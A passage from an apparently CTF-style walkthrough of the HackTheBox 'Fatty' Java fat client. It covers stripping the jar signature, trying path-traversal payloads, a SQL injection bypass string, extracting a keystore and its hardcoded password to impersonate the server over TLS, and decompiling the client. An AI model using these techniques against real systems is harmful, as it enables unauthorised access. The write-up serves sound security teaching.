to&nbsp;<em>1337<\/em>,&nbsp;<em>1338<\/em>&nbsp;or&nbsp;<em>1339<\/em>. Then we can repack the&nbsp;<em>.jar<\/em>&nbsp;file again and check whether the login is working.pentester@kali:~\/unzipped$ zip -r -0 fatty-client.jar *pentester@kali:~\/unzipped$ java -jar fatty-client.jar<strong>Exception<\/strong> in thread \"AWT-EventQueue-1\" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:128) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:94) [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hm\u2026 An exception occurs once we hit the login button. The core of this exception is the error message:&nbsp;<code>SHA-256 digest error for beans.xml<\/code>. From the&nbsp;<em>fat client introduction<\/em>&nbsp;we know that this error is caused by a signature mismatch inside of a signed&nbsp;<em>.jar<\/em>&nbsp;file. It seems that&nbsp;<em>fatty-client.jar<\/em>&nbsp;was signed and by modifying the&nbsp;<code>beans.xml<\/code>&nbsp;file, we have caused an invalid signature inside the&nbsp;<em>.jar<\/em>&nbsp;file. Fortunately, we know already how to patch this.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We go back to the unzipped contents and open the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file. Indeed, we will see some signatures:pentester@kali:~\/unzipped$ cat META-INF\/MANIFEST.MF | head -n 20Manifest-Version: 1.0Archiver-Version: Plexus ArchiverBuilt-By: rootSealed: <strong>True<\/strong>Created-By: Apache Maven 3.3.9Build-Jdk: 1.8.0_222Main-Class: htb.fatty.client.run.StarterName: META-INF\/maven\/org.slf4j\/slf4j-log4j12\/pom.propertiesSHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z\/hdj03XNhHx3C\/pZbEp4Cw=Name: org\/springframework\/jmx\/export\/metadata\/ManagedOperationParameter.classSHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf\/FD9h2AMOntcgw=[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We just delete all of these signatures and additionally remove the files&nbsp;<code>1.RSA<\/code>and&nbsp;<code>1.SF<\/code>&nbsp;from the&nbsp;<code>META-INF<\/code>&nbsp;folder.pentester@kali:~\/unzipped$ cat META-INF\/MANIFEST.MF | head -n 8 | tee META-INF\/MANIFEST.MFManifest-Version: 1.0Archiver-Version: Plexus ArchiverBuilt-By: rootSealed: <strong>True<\/strong>Created-By: Apache Maven 3.3.9Build-Jdk: 1.8.0_222Main-Class: htb.fatty.client.run.Starterpentester@kali:~\/unzipped$ rm META-INF\/1.RSA &amp;&amp; rm META-INF\/1.SF<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When we now repack the unzipped contents to a&nbsp;<em>.jar<\/em>&nbsp;file again, the resulting&nbsp;<em>.jar<\/em>is no longer signed and should start without any problems:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15443,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/12.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/12.png\" alt=\"\" class=\"wp-image-15443\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"exploring-the-client\">3.3 \u2013 Exploring the Client<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that we have access to the client, we should take a look at its functionalities. The general structure of the client is quite easy. It opens a giant text box in the middle of the window and provides an&nbsp;<code>open<\/code>&nbsp;and&nbsp;<code>clear<\/code>button at the bottom. Clicking these buttons at the moment seems to be useless, since the&nbsp;<code>clear<\/code>&nbsp;button does nothing and the&nbsp;<code>open<\/code>&nbsp;button spawns an error message:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15446,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/13.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/13.png\" alt=\"\" class=\"wp-image-15446\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The main functionality of the client seems to be accessible by using the menu bar at the top. Each menu item does open a drop down, which contains certain functions exposed by the client. Unfortunately, it seems like some of the functions are not accessible for our current account, since they are disabled inside the graphical user interface of the client. Here is a list of functions that we can invoke:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>File<ul><li>Exit<\/li><\/ul><\/li><li>Profile<ul><li>Whoami<\/li><\/ul><\/li><li>ServerStatus<\/li><li>FileBrowser<ul><li>Configs<\/li><li>Notes<\/li><li>Mail<\/li><\/ul><\/li><li>ConnectionTest<ul><li>Ping<\/li><\/ul><\/li><li>Help<ul><li>Contact<\/li><li>About<\/li><\/ul><\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Let\u2019s start with the&nbsp;<code>whoami<\/code>&nbsp;function. This function simply prints some short information about our current user onto the text box. We can see that our username is&nbsp;<code>qtc<\/code>&nbsp;and our role is&nbsp;<code>user<\/code>. This explains why some of the client functionalities are not usable for us, as they are probably only accessible for users with a higher privileged role.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15450,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/whoami.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/whoami.png\" alt=\"\" class=\"wp-image-15450\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>More interesting is the&nbsp;<code>FileBrowser<\/code>&nbsp;functionality. When selecting one of the drop down fields, we get a list of filenames that are probably stored on the remote server:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15452,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/14.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/14.png\" alt=\"\" class=\"wp-image-15452\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Functions to list files on a remote server are often prone to&nbsp;<em>path-traversal<\/em>attacks. However, currently we are not able to control any folder names that are used for the listing and therefore unable to check for this kind vulnerability. But wait! Do you remember the error from the&nbsp;<code>open<\/code>&nbsp;button? It said that we need to list some folder first. Maybe we can now use the&nbsp;<code>open<\/code>&nbsp;button to open one of the listed files?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15456,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/15.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/15.png\" alt=\"\" class=\"wp-image-15456\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Indeed! By entering one of the listed filenames inside the input field and hitting the&nbsp;<code>open<\/code>&nbsp;button, the contents of that file are displayed inside of the text box. Since we have now user controlled input that is used to open a file, we can try to exploit a<em>&nbsp;path-traversal vulnerability<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15458,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/16.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/16.png\" alt=\"\" class=\"wp-image-15458\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, not what we want but at least a partial success. The client filtered our input but does respond with an error message that contains an internal path on the server. First of all, this tells us that we are really fetching files from the file system of the remote server. Furthermore, we may be able to use the error message to determine which kind of filtering is applied. Maybe the filtering is done in a vulnerable way and we are still able to fetch arbitrary files?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine the kind of filtering, two different queries are sufficient. First of all we try the following:Payload: ..Response: [-] Failed to <strong>open<\/strong> file '\/opt\/fatty\/files\/configs\/..'.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So the&nbsp;<code>..<\/code>&nbsp;does not cause any problems and the server does not reject it. Now we try the following payload:Payload: ..\/Response: [-] Failed to <strong>open<\/strong> file '\/opt\/fatty\/files\/configs'.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the server has stripped our payload. It looks like the server is filtering the sequence&nbsp;<code>\/..\/<\/code>&nbsp;and by using some other payloads you can confirm this behavior. Such a filtering can sometimes be bypassed by using a payload like:&nbsp;<code>.\/.\/..\/.\/<\/code>, but in this case the filter seems to be applied recursively until all&nbsp;<code>\/..\/<\/code>&nbsp;sequences are removed.&nbsp;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, we can still hope to find something interesting inside the files that are listed by the&nbsp;<code>FileBrowser<\/code>&nbsp;and indeed there are a few files that contain interesting information:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>In multiple files major security issues inside the client\/server are mentioned. This tells us (spoiler alert) that there are some vulnerabilities present.<\/li><li>Inside the file&nbsp;<code>dave.txt<\/code>&nbsp;from the&nbsp;<code>Mail<\/code>&nbsp;folder,&nbsp;<em>Dave&nbsp;<\/em>is telling us that our current user account is the only one that is left inside the database. Furthermore, he mentions that administrative user accounts seem to have access to exploitable functionalities. Finally he says something about preventing a&nbsp;<em>SQL injection<\/em>&nbsp;attack by using a large timeout inside the login procedure.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Hey<\/strong> qtc, until the issues from the current pentest are fixed we have removed <strong>all<\/strong> administrative users from the database.<strong>Your<\/strong><strong>user<\/strong> account is the only one that is left. Since you have only <strong>user<\/strong> permissions, this should prevent exploitationof the other issues. Furthermore, we implemented a timeout <strong>on<\/strong> the login procedure. Time heavy SQL injection attacks aretherefore no longer possible.<strong>Best<\/strong> regards,Dave<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In our current position, the most relevant information is probably the&nbsp;<em>SQL&nbsp;<\/em>injection vulnerability inside the login procedure, but its quite unclear how to exploit it. Consider it is a kind of injection where a payload like&nbsp;<code>' or 1=1 --<\/code>lets you bypass the username and password field. Even in this case we would not benefit.&nbsp;<em>Dave&nbsp;<\/em>told us, that&nbsp;<em>qtc&nbsp;<\/em>is the only account which is left inside the database and therefore such an injection would only allow us to login as&nbsp;<em>qtc<\/em>. Extracting other information using the&nbsp;<em>SQLi&nbsp;<\/em>seems also not to be possible due to the timeout. During the first login you may have noticed a delay of about 5 seconds. Using some blind&nbsp;<em>SQLi&nbsp;<\/em>to exfiltrate information with a delay of 5 seconds seems not to be a good approach. So lets keep all this information and mind and look at the rest of the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The rest of the accessible client functionality looks quite boring. The&nbsp;<code>Ping<\/code>function does only reply with a&nbsp;<em>Pong<\/em>&nbsp;message and the functions contained in the&nbsp;<code>Help<\/code>&nbsp;drop down do only print some information about the client. Hm\u2026 So what is the next step?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"inspecting-network-traffic\">3.4 \u2013 Inspecting the Network Traffic<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned in the&nbsp;<em>fat client<\/em>&nbsp;introduction, inspecting the network traffic is always worth a try. If we are lucky, we will find that communication is done using a known protocol like&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML&nbsp;<\/em>and we can easily intercept and modify messages. So lets look at the wireshark dump of the login process:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15634,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-2.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-2-1024x290.png\" alt=\"\" class=\"wp-image-15634\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the network traffic is&nbsp;<em>TLS&nbsp;<\/em>encrypted and we can not view the plaintext data. Using the fact that&nbsp;<code>fatty-client.jar<\/code>&nbsp;is run by our own user and that we have root privileges on our machine, it is certainly possible to dump the required&nbsp;<em>TLS&nbsp;<\/em>keys in order to decrypt the traffic. However, there is one easier thing that we can try. We simply change the entry for&nbsp;<code>server.fatty.htb<\/code>&nbsp;in our&nbsp;<code>\/etc\/hosts<\/code>&nbsp;file and let it point to our own host. Then we open a&nbsp;<em>TLS&nbsp;<\/em>listener and check how the initial login message looks like. If we just open an&nbsp;<code>openssl s_server<\/code>&nbsp;with a self-signed certificate, we get the following error once the connection comes in:pentester@kali:~\/www$ openssl s_server -accept 1338 -key key.pem -cert cert.pem<strong>Using<\/strong> default temp DH parameters<strong>ACCEPT<\/strong><strong>ERROR<\/strong>140675522520192:error:14094416:SSL routines:ssl3_read_bytes:sslv3 alert certificate unknown:..\/ssl\/record\/rec_layer_s3.c:1536:SSL alert number 46shutting down SSL<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems that&nbsp;<code>fatty-client.jar<\/code>&nbsp;does not like our self-signed certificate. This is a common behavior of&nbsp;<em>fat clients<\/em>&nbsp;and they expect a certain server certificate from the remote server (<em>certificate pinning<\/em>). So what to do now? Among the different files that are present inside&nbsp;<em>fatty-client.jar<\/em>, you may noticed a file&nbsp;<code>fatty.p12<\/code>. This is a<em>&nbsp;key store file<\/em>, that is used to store certificates. These are probably used by the&nbsp;<em>fat client<\/em>&nbsp;as a client-side certificate. We can extract the corresponding certificate and key by using the following commands:pentester@kali:~\/www$ openssl pkcs12 -nodes -in fatty.p12 -out fatty.certpentester@kali:~\/www$ openssl pkcs12 -nocerts -in fatty.p12 -out fatty.key<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The extraction will require a password, but this needs to be present inside the source code of&nbsp;<code>fatty-client.jar<\/code>, since the clients needs access to the key store. In the next section, where we decompile the client, you can verify that the password can be found inside of the class&nbsp;<code>htb.fatty.shared.connection.TrustedFatty<\/code>&nbsp;and has a value of<br><code>secureclarabibi123<\/code>. If you inspect the extracted certificate, you will notice that it is exactly the same that the server is using. Opening a&nbsp;<em>s_server<\/em>&nbsp;instance with the&nbsp;<code>fatty.cert<\/code>&nbsp;and&nbsp;<code>fatty.key<\/code>&nbsp;should therefore work fine:pentester@kali:~\/www$ openssl s_server -accept 1338 -key fatty.key -cert fatty.cert <strong>ACCEPT<\/strong>-----BEGIN SSL SESSION PARAMETERS-----MHoCAQECAgMDBALAKAQgmEz\/z23g\/28vbRokQbJGSy\/cfmF9orUA8YqL05QMw70E<strong>MGgqHQdtmXDSVp19dySbjvqvC0eUtFVWlVX64UiVm6ZJsHb6AI2ZQ0HYIw4EGY0D<\/strong>96EGAgRdlX\/nogQCAhwgpAYEBAEAAACtAwIBAQ==-----END SSL SESSION PARAMETERS-----<strong>Shared<\/strong> ciphers:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:AES256-SHA256:DHE-RSA-AES256-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:AES128-SHA:DHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256<strong>Signature<\/strong> Algorithms: ECDSA+SHA512:RSA+SHA512:ECDSA+SHA384:RSA+SHA384:ECDSA+SHA256:RSA+SHA256:DSA+SHA256:ECDSA+SHA224:RSA+SHA224:DSA+SHA224:ECDSA+SHA1:RSA+SHA1:DSA+SHA1<strong>Shared<\/strong> Signature Algorithms: ECDSA+SHA512:RSA+SHA512:ECDSA+SHA384:RSA+SHA384:ECDSA+SHA256:RSA+SHA256:DSA+SHA256:ECDSA+SHA224:RSA+SHA224:DSA+SHA224<strong>Supported<\/strong> Elliptic Curve Point Formats: uncompressed<strong>Supported<\/strong> Elliptic Groups: P-256:P-384:P-521:K-283:B-283:K-409:B-409:K-571:B-571:secp256k1<strong>Shared<\/strong> Elliptic groups: P-256:P-384:P-521---<strong>No<\/strong> server certificate CA names sent<strong>CIPHER<\/strong> is ECDHE-RSA-AES256-SHA384<strong>Secure<\/strong> Renegotiation IS supported<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We now get an incoming connection, but nothing is sent by&nbsp;<code>fatty-client.jar<\/code>. Well, seems like the server has to do the first step and we can try to enter some stuff in our&nbsp;<em>s_server<\/em>&nbsp;terminal. If we just enter a random string we get a&nbsp;<em>Connection Error<\/em>&nbsp;by&nbsp;<code>fatty-client.jar<\/code>. So&nbsp;<code>fatty-client.jar<\/code>probably expects some structured input. To determine the corresponding format, we can just connect to the application server using&nbsp;<code>openssl s_client<\/code>&nbsp;and check what the original server is sending:pentester@kali:\/www$ openssl s_client -quiet -connect 10.10.10.174:1337Can't use SSL_get_servernamedepth=0 C = DE, ST = Here, L = There, O = Fatty, OU = FatClient Development, CN = Mr. Secure, emailAddress = secure@nonexistend.nononoverify error:num=18:self signed certificateverify return:1depth=0 C = DE, ST = Here, L = There, O = Fatty, OU = FatClient Development, CN = Mr. Secure, emailAddress = secure@nonexistend.nononoverify return:1\ufffd\ufffd\ufffd\ufffd\ufffdn\ufffd\ufffdIa{\ufffd\ufffd;\ufffd\ufffd\ufffd\ufffd\ufffdK8\ufffdS\/\u057d\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd!\ufffd\ufffd\ufffd\ufffd)BEH\u00cdrv\ufffdqR\ufffd2\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdV\ufffd\ufffd\ufffd\ufffdwo%\ufffd\ufffdVN\ufffd\ufffd\ufffd\ufffdR\ufffdl\ufffdh%I\ufffd\ufffd\ufffd\ufffd\ufffd\u02f3\ufffd^\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd]\ufffd\u0328\ufffd\ufffd+\u0335\uee7f{*\ufffd7f7b\ufffd\ufffd\ufffd<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Urgh. This already looks like a binary protocol. However, one can notice that the actual output changes on each connection. So maybe it is sufficient to present&nbsp;<em>fatty-client.jar<\/em>&nbsp;some input with the same length? Lets try it:pentester@kali:\/www$ openssl s_client -quiet -connect 10.10.10.174:1337 2&gt; \/dev\/null &gt; filepentester@kali:\/www$ wc -c file128 filepentester@kali:~\/www$ openssl s_server -accept 1338 -key fatty.key -cert fatty.cert[...]<strong>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/strong>\ufffd\ufffd\"W\ufffd\ufffd0R\ufffdoD\ufffdWwk\ufffd\ufffdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd'\ufffd\ufffdDqtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The response of&nbsp;<em>fatty-client.jar<\/em>&nbsp;is quite interesting. It seems to reflect the 128 characters that we have sent together with some binary data and the login information. While the username is transmitted in plain text, the password seems to be hashed. Unfortunately, from the first two messages we do not see any standard protocols like&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"decompiling-fatty\">3.5 \u2013 Decompiling Fatty<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>So far we have identified some interesting stuff inside the client, but were not able to exploit anything. It is now time to leave the graphical user interface behind and to write our own client. Using a own client implementation we may be able to do the following things:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>The graphical user interface of the client had disabled a lot of functions for our user account&nbsp;<em>qtc<\/em>. Using our own client, we may be able to invoke these functions manually, without having a proper user role.<\/li><li>When using the&nbsp;<code>open<\/code>&nbsp;button, we noticed that our input gets filtered regarding the sequence&nbsp;<code>\/..\/<\/code>. This filtering is may applied on the client side and can be skipped when using a own client implementation.<\/li><li>There is a possible&nbsp;<em>SQLi&nbsp;<\/em>vulnerability inside the login procedure of the client. Even if we identify the correct syntax to exploit it, there is a 5 seconds delay on the login function, which makes data extraction difficult. Maybe this delay is also implemented on the client side and we can bypass it by using our own client.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>In order to write a own client, we need first of all access to the source code of the original&nbsp;<em>fatty&nbsp;<\/em>client. Therefore, we will now use a decompiler to restore the source code of the&nbsp;<code>fatty-client.jar<\/code>&nbsp;file. As already said in the&nbsp;<em>fat client introduction<\/em>, the selection of decompiler is a matter of choice. I usually prefer the&nbsp;<a href=\"https:\/\/www.benf.org\/other\/cfr\/\" target=\"_blank\" rel=\"noreferrer noopener\">CFR Decompiler<\/a>&nbsp;and the following command line shows you how to decompile&nbsp;<code>fatty-client.jar<\/code>&nbsp;by using&nbsp;<code>cfr-0.146.jar<\/code>.pentester@kali:~\/$ mkdir decompiledpentester@kali:~\/$ java -jar cfr-0.146.jar --outputpath .\/decompiled fatty-client.jar<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The code that is relevant for us is now located inside of&nbsp;<code>.\/decompiled\/htb<\/code>and I recommend to open this folder by using a tool like e.g.&nbsp;<a href=\"https:\/\/code.visualstudio.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Visual Studio Code<\/a>. We can now start to investigate the source code and to build our own client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"own-fatty-client\">3.6 \u2013 Building your own Fatty Client<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>If you haven\u2019t created an&nbsp;<em>Eclipse&nbsp;<\/em>(or what ever technology you decided to use) project yet, it is now the time to do this. Just assign your project an arbitrary name and make sure that&nbsp;<em>fatty-client.jar<\/em>&nbsp;is imported inside your&nbsp;<em>Build Path<\/em>. If you do now know how to do this, read the corresponding section from the&nbsp;<em>fat client introduction<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the number of custom classes inside the&nbsp;<em>fatty-client.jar<\/em>&nbsp;is quite low, we will use the&nbsp;<em>Top-Down Approach<\/em>&nbsp;for investigating the source code and this means, that we are starting with the main function of the client. In order to identify the location of the main function, we can simply take a look at the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;of&nbsp;<em>fatty-client.jar<\/em>.pentester@kali:~\/$ cat unzipped\/META-INF\/MANIFEST.MF Manifest-Version: 1.0[...]Main-Class: htb.fatty.client.run.Starter<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So the main function should be contained inside&nbsp;<code>htb\/fatty\/client\/run\/Starter.java<\/code>.\/* * Decompiled with CFR 0.146. *\/<strong>package<\/strong><em> htb.fatty.client.run<\/em>;<strong>import<\/strong><em> htb.fatty.client.gui.ClientGuiTest<\/em>;<strong>import<\/strong><em> htb.fatty.shared.logging.FattyLogger<\/em>;<strong>public<\/strong><strong>class<\/strong> Starter { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main(<strong>String<\/strong>[] argv) { FattyLogger logger = new FattyLogger(); logger.logInfo(\"[+] Fatty starts running. Run Fatty, run!\"); logger.logInfo(\"[+] Starting UI!\"); ClientGuiTest ui = new ClientGuiTest(); ui.setVisible(<strong>true<\/strong>); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the startup function is quite short. The first notable thing is, that a&nbsp;<code>FattyLogger<\/code>&nbsp;object is created. This means, that the client does support some kind of logging, which could be helpful when we encounter more complex problems. But for now we will ignore this class and only keep in mind that logging is available.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next notable thing is that a&nbsp;<code>ClientGuiTest<\/code>&nbsp;object is generated and the visible property is set to&nbsp;<em>true<\/em>. From the function and class names one can already guess that these lines of code are responsible for spawning the graphical user interface. All other functionality of the client seems to be implemented somewhere else and probably gets invoked after certain actions occur inside the&nbsp;<em>GUI<\/em>. So our next step is to look at the&nbsp;<code>ClientGuiTest<\/code>&nbsp;class and try to determine where the communication with the application server starts.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>ClientGuiTest<\/code>&nbsp;class contains much more code, but most of it is related to spawning the user interface. To find the interesting parts of the code, we can search for keywords like&nbsp;<code>login<\/code>. The following section looks promising:JButton btnNewButton = new JButton(\"Login \");btnNewButton.addActionListener(new ActionListener() { <strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>String<\/strong> username = tfUsername.getText().trim(); <strong>String<\/strong> password = new <strong>String<\/strong>(tfPassword.getPassword()); user = new User(); user.setUsername(username); user.setPassword(password); <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong> (ConnectionException e1) { JOptionPane.showMessageDialog(LoginPanel, \"Connection Error!\", \"Error\", JOptionPane.ERROR_MESSAGE); <strong>return<\/strong>; } <strong>if<\/strong>( conn.login(user) ) { JOptionPane.showMessageDialog(LoginPanel, \"Login Successful!\", \"Login\", JOptionPane.INFORMATION_MESSAGE); LoginPanel.setVisible(<strong>false<\/strong>); <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); <strong>if<\/strong>( roleName.contentEquals(\"admin\")) { uname.setEnabled(<strong>true<\/strong>); users.setEnabled(<strong>true<\/strong>); netstat.setEnabled(<strong>true<\/strong>); ipconfig.setEnabled(<strong>true<\/strong>); changePassword.setEnabled(<strong>true<\/strong>); } <strong>if<\/strong>( !roleName.contentEquals(\"anonymous\")) { whoami.setEnabled(<strong>true<\/strong>); configs.setEnabled(<strong>true<\/strong>); notes.setEnabled(<strong>true<\/strong>); mail.setEnabled(<strong>true<\/strong>); ping.setEnabled(<strong>true<\/strong>); } invoker = new Invoker(conn, user); controlPanel.setVisible(<strong>true<\/strong>); } <strong>else<\/strong> { JOptionPane.showMessageDialog(LoginPanel, \"Login Failed!\", \"Login\", JOptionPane.INFORMATION_MESSAGE); conn.close(); } } });<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this code snipped we see that an&nbsp;<code>ActionListener<\/code>&nbsp;function is defined on the login button, which executes the following steps:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It takes the 